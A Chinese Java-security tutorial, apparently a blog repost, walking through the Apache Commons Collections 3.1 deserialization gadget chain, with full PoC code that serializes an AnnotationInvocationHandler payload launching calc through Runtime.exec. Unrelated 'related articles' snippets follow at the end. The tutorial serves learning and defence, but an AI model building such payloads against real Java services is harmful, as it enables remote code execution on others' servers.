[java安全]CommonsCollections3.1

文章目录

    • 【java安全】CommonsCollections3.1
      • InvokerTransformer
      • ConstantTransformer
      • ChainedTransformer
      • TransformedMap
      • 如何触发checkSetValue()方法?
      • AnnotationInvocationHandler
      • poc
      • 利用链

【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}

为参数赋初值

transform()方法

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);}...}}

该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令

import org.apache.commons.collections.functors.InvokerTransformer;public class InvokerTransformerDemo {public static void main(String[] args) throws Exception {//Class runtimeClass=Class.forName("java.lang.Runtime");//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}).transform(runtimeClass);//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象Object runtime=new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}).transform(m_getMethod);//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象Object exec=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"}).transform(runtime);}
}

Runtime类的getRuntime()函数是静态方法,所以使用反射不需要传入对象,传个null即可

public static Runtime getRuntime() {return currentRuntime;}

ConstantTransformer

这个类的transform()方法很简单:

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}
public Object transform(Object input) {return this.iConstant;}

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法:(重点)

public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法,并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;public class ReflectionChain {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"})};ChainedTransformer chain= new ChainedTransformer(transformers);chain.transform(null);}
}

至此,我们漏洞利用条件是构造出含命令的ChainedTransformer对象,然后触发transform()方法

如何才能触发呢?

我们需要看看TransformedMap类的源码:

TransformedMap

TransformedMap类中,存在一个checkSetValue()方法,可以调用transform()方法:

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

我们可以通过创建TransformMap对象来调用该方法,但是如何创建对象呢?

我们可以使用decorate()静态方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

于是,我们可以将构造的链子传入TransformedMap对象中:

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法?

Map是java的接口,

Map.entrySet()的返回值是一个Set集合,此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法,可以调用checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value);}}

根据继承和多态,我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行:

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法,我们需要实现带有readObject()方法的类调用setValue()方法,这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

image-20230715013946405

构造函数:

image-20230715014403089

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;public class CommonCollections11 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })};               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "xxx");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

image-20230715014441472

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

image-20230715103609385

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/23334.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker架构

目录 Docker总架构图Docker ClientDocker DaemonDocker ServerDocker EngineJob Docker RegistryGraphDriverGraphDriverNetworkDriverExecDriver LibcontainerDocker Container Docker可以帮助用户在容器内部快速自动化部署应用&#xff0c;并利用Linux内核特性命名空间&#…

JMeter websocket接口测试

前言 在一个网站中&#xff0c;很多数据需要即时更新&#xff0c;比如期货交易类的用户资产。在以前&#xff0c;这种功能的实现一般使用http轮询&#xff0c;即客户端用定时任务每隔一段时间向服务器发送查询请求来获取最新值。这种方式的弊端显而易见&#xff1a; 有可能造…

ORB-SLAM2学习笔记1之Ubuntu20.04+ROS-noetic安装ORB-SLAM2

文章目录 0 引言1 安装依赖1.1 opencv安装1.2 Eigen3安装1.3 Pangolin安装1.4 其他 2 编译安装ORB-SLAM22.1 build.sh2.2 build_ros.sh 0 引言 ORB-SLAM2是一种用于单目、双目和RGB-D相机的视觉SLAM&#xff08;同时定位与地图构建&#xff09;系统。它由萨拉戈萨大学和伦敦帝…

Python_paramiko_与linux交互

一、基础功能介绍 # codingutf-8 import paramiko from time import sleep# 建立通信 transport paramiko.Transport((192.168.0.7, 22)) print(transport) # <paramiko.Transport at 0x5745ed0 (unconnected)># 建立连接 transport.connect(usernameroot, password1…

Vue3+ts;枚举(enum);Partial全部可选/Pick选一部分/配置 svg 图标/unplugin-vue-components组件自动按需加载

项目的创建 使用 create-vue 脚手架创建项目。 1.执行创建命令 pnpm create vue # or npm init vuelatest # or yarn create vue2.选择项目依赖内容。 ✔ Project name: … //项目名 ✔ Add TypeScript? … No / Yes ✔ Add JSX Support? … No / Yes ✔ Add Vue Router …

ChatGPT:利用人工智能助推教育创新

当前&#xff0c;世界正需要一个更加开放的、更加个性化的学习空间&#xff0c;学生的个性发展和生存发展应该被关注和尊重&#xff0c;课程应该引导学生掌握有用的东西&#xff0c;学生之间的差距应该被正视&#xff0c;教育成功的标准也要被重新定义。过去&#xff0c;我们总…

全网最完整,接口测试总结彻底打通接口自动化大门,看这篇就够了......

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试 前言 所谓接口&#xff0c;是指同一个系统中模块与模块间的数据传递…

【Spring Cloud系列】Hystrix应用详解

【Spring Cloud系列】Hystrix应用详解 文章目录 【Spring Cloud系列】Hystrix应用详解一、概述二、什么是Hystix三、Hystrix作用四、Hystrix设计原则五、Hystrix实现原理5.1 隔离5.2 熔断5.3 降级服务降级主要用于什么场景呢实现服务降级需要考虑几个问题降级分类 5.4 缓存请求…

呼吸灯——FPGA

文章目录 前言一、呼吸灯是什么&#xff1f;1、介绍2、占空比调节示意图 二、系统设计1、系统框图2、RTL视图 三、源码四、效果五、总结六、参考资料 前言 环境&#xff1a; 1、Quartus18.0 2、vscode 3、板子型号&#xff1a;EP4CE6F17C8 要求&#xff1a; 将四个LED灯实现循环…

RPC和HTTP区别是什么?

&#x1f3c6;今日学习目标&#xff1a; &#x1f340;RPC和HTTP区别是什么&#xff1f; ✅创作者&#xff1a;林在闪闪发光 ⏰预计时间&#xff1a;30分钟 &#x1f389;个人主页&#xff1a;林在闪闪发光的个人主页 &#x1f341;林在闪闪发光的个人社区&#xff0c;欢迎你的…

latex3【排版】

多行公式排版&#xff1a;&#xff08;gather、align、split、cases&#xff09; \section{多行公式}%gather环境\begin{gather} abba \\ abcbaccbacab\end{gather}\begin{gather*} abba \\ abcbaccbacab\end{gather*}​\begin{gather} abba \\ 123 \notag …

第十五章——友元、异常

友元 类并非只能拥有友元函数&#xff0c;也可以将类作为友元。在这种情况下&#xff0c;友元类的所有方法都可以访问原始类的私有成员和保护成员。因此尽管友元被授予从外部访问类的私有部分的权限&#xff0c;但它们并不与面向对象的编程思想相悖&#xff0c;相反提高了共有…